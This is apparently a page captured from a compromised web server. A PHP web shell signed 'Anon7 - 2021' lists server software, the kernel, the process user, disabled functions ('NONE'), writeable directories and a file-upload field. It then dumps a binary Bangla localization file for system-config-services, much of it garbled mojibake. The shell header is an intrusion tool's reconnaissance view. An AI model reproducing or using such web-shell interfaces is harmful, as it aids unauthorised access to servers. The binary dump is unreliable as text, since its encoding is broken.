KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/bn/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/bn/LC_MESSAGES/system-config-services.mo
Ū•.Œ=üđņũ,2>'Bj„¤
°ģÍā÷ü(
4
BP\rŠ—œO¤,ô!	*4CIOe
v„“™$ļÛ û
œK§4ķ(	,>		k	iu	Gß	K'
s
0ƒ
4´
Ké
55k…Ą­šÅ
Ņ;ß94U$Š¯ÅÕčõë
‡ņ
y ‹7ŦäöoJ@Ė>
LqjbÜS?+
#%$) "!(,-.
*'&	 successful%s failed. The error was: %s. The error was: AboutAdd ServiceAllAre you sure you want to delete the %s?Current Active Runlevel: Currently Running in Runlevel: DescriptionDon't SaveEditing Runlevel:Editing Runlevel: Help is not available.NoneRestartRunlevel %dRunlevel _3Runlevel _4Runlevel _5Runlevel _AllS_top ServiceSave DialogService ConfigurationService Name: ServicesStartStatusStopUnknownYou have made changes to the current runlevel.
Do you want to save the changes?You must run system-config-services as root._Actions_Contents_Edit Runlevel_File_Help_Refresh Service List_Restart Service_Save Changes_Start Service_Viewxinetd failed to reload for xinetd must be enabled for %s to runxinetd reloaded %s successfullyProject-Id-Version: system-config-services
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-10-20 11:59+0200
PO-Revision-Date: 2006-01-26 23:27+0600
Last-Translator: Jamil Ahmed <jamil@bengalinux.org>
Language-Team: Bangla <redhat-translation@bengalinux.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.9.1
Plural-Forms: nplurals=2; plural=(n != 1);
 āĻ¸āĻĢāĻ˛%s āĻŦā§āĻ¯āĻ°ā§āĻĨāĨ¤ āĻ‰āĻ¤ā§â€â€ŒāĻĒāĻ¨ā§āĻ¨ āĻ¤ā§āĻ°ā§āĻŸāĻŋ: %sāĨ¤ āĻ‰āĻ¤ā§â€â€ŒāĻĒāĻ¨ā§āĻ¨ āĻ¤ā§āĻ°ā§āĻŸāĻŋ: āĻĒāĻ°āĻŋāĻšāĻŋāĻ¤āĻŋāĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻž āĻ¯ā§‹āĻ— āĻ•āĻ°ā§āĻ¨āĻ¸āĻ•āĻ˛āĻ†āĻĒāĻ¨āĻŋ āĻ•āĻŋ āĻ¨āĻŋāĻļā§āĻšāĻŋāĻ¤āĻ°ā§‚āĻĒā§‡ %s āĻŽā§āĻ›ā§‡ āĻĢā§‡āĻ˛āĻ¤ā§‡ āĻ‡āĻšā§āĻ›ā§āĻ•?āĻŦāĻ°ā§āĻ¤āĻŽāĻžāĻ¨ā§‡ āĻ¸āĻ•ā§āĻ°āĻŋā§Ÿ āĻ°āĻžāĻ¨-āĻ˛ā§‡āĻ­ā§‡āĻ˛: āĻŦāĻ°ā§āĻ¤āĻŽāĻžāĻ¨ā§‡ āĻ¯ā§‡ āĻ°āĻžāĻ¨-āĻ˛ā§‡āĻ­ā§‡āĻ˛ā§‡ āĻšāĻ˛āĻ›ā§‡: āĻŦāĻŋāĻŦāĻ°āĻŖāĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻ¨āĻžāĻ°āĻžāĻ¨-āĻ˛ā§‡āĻ­ā§‡āĻ˛ āĻ¸āĻŽā§āĻĒāĻžāĻĻāĻ¨āĻž: āĻ°āĻžāĻ¨-āĻ˛ā§‡āĻ­ā§‡āĻ˛ āĻ¸āĻŽā§āĻĒāĻžāĻĻāĻ¨ āĻ•āĻ°āĻž āĻšāĻšā§āĻ›ā§‡: āĻ¸āĻšāĻžā§ŸāĻŋāĻ•āĻž āĻ‰āĻĒāĻ¸ā§āĻĨāĻŋāĻ¤ āĻ¨ā§‡āĻ‡āĻ•ā§‹āĻ¨āĻŸāĻžāĻ‡ āĻ¨ā§ŸāĻ°āĻŋāĻ¸ā§āĻŸāĻžāĻ°ā§āĻŸRunlevel %dRunlevel _3Runlevel _4Runlevel _5Runlevel _AllāĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻž āĻŦāĻ¨ā§āĻ§ āĻ•āĻ°āĻž āĻšāĻŦā§‡ (_t)āĻĄāĻžā§ŸāĻ˛āĻ— āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°āĻž āĻšāĻŦā§‡āĻ¸āĻžāĻ°ā§āĻ­āĻŋāĻ¸ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ°ā§‡āĻļāĻ¨āĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻžāĻ° āĻ¨āĻžāĻŽ: āĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻžāĻ†āĻ°āĻŽā§āĻ­āĻ…āĻŦāĻ¸ā§āĻĨāĻžāĻŦāĻ¨ā§āĻ§āĻ…āĻœāĻžāĻ¨āĻžāĻŦāĻ°ā§āĻ¤āĻŽāĻžāĻ¨ āĻ°āĻžāĻ¨ āĻ˛ā§‡āĻ­ā§‡āĻ˛ā§‡ āĻ†āĻĒāĻ¨āĻŋ āĻ•āĻŋāĻ›ā§ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻ•āĻ°ā§‡āĻ›ā§‡āĻ¨āĨ¤
āĻ†āĻĒāĻ¨āĻŋ āĻ•āĻŋ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨āĻ—ā§āĻ˛āĻŋ āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°āĻ¤ā§‡ āĻ‡āĻšā§āĻ›ā§āĻ•?system-config-services āĻšāĻžāĻ˛āĻžāĻŦāĻžāĻ° āĻœāĻ¨ā§āĻ¯ā§‡ root āĻĒāĻ°āĻŋāĻšā§Ÿ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻž āĻ†āĻŦāĻļā§āĻ¯āĻ•āĨ¤āĻ•āĻ°ā§āĻŽ (_A)āĻŦāĻŋāĻˇā§ŸāĻŦāĻ¸ā§āĻ¤ā§ (_C)āĻ°āĻžāĻ¨-āĻ˛ā§‡āĻ­ā§‡āĻ˛ āĻ¸āĻŽā§āĻĒāĻžāĻĻāĻ¨āĻž (_E)āĻĢāĻžāĻ‡āĻ˛ (_F)āĻ¸āĻžāĻšāĻžāĻ¯ā§āĻ¯ (_H)āĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻžāĻ° āĻ¤āĻžāĻ˛āĻŋāĻ•āĻž āĻ¨āĻ¤ā§āĻ¨ āĻ•āĻ°ā§‡ āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨ āĻ•āĻ°ā§āĻ¨ (_āĻ°)āĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻž āĻĒā§āĻ¨āĻ°āĻžā§Ÿ āĻ†āĻ°āĻŽā§āĻ­ āĻ•āĻ°ā§āĻ¨ (_R)āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°ā§āĻ¨ (_S)āĻĒāĻ°āĻŋāĻ¸ā§‡āĻŦāĻž āĻ†āĻ°āĻŽā§āĻ­ āĻ•āĻ°āĻž āĻšāĻŦā§‡ (_S)āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨ (_V)āĻ‰āĻ˛ā§āĻ˛āĻŋāĻ–āĻŋāĻ¤ āĻŦāĻ¸ā§āĻ¤ā§āĻ° āĻœāĻ¨ā§āĻ¯ xinetd āĻ°āĻŋ-āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻ¤ā§‡ āĻŦā§āĻ¯āĻ°ā§āĻĨ %s āĻšāĻžāĻ˛āĻžāĻ¨ā§‹āĻ° āĻœāĻ¨ā§āĻ¯ā§‡ xinetd āĻ¸āĻ•ā§āĻ°āĻŋā§Ÿ āĻĨāĻžāĻ•āĻž āĻ†āĻŦāĻļā§āĻ¯āĻ•xinetd āĻ¸āĻžāĻĢāĻ˛ā§āĻ¯ā§‡āĻ° āĻ¸āĻ™ā§āĻ—ā§‡ %s āĻ°āĻŋ-āĻ˛ā§‹āĻĄ āĻ•āĻ°ā§‡āĻ›ā§‡

Anon7 - 2021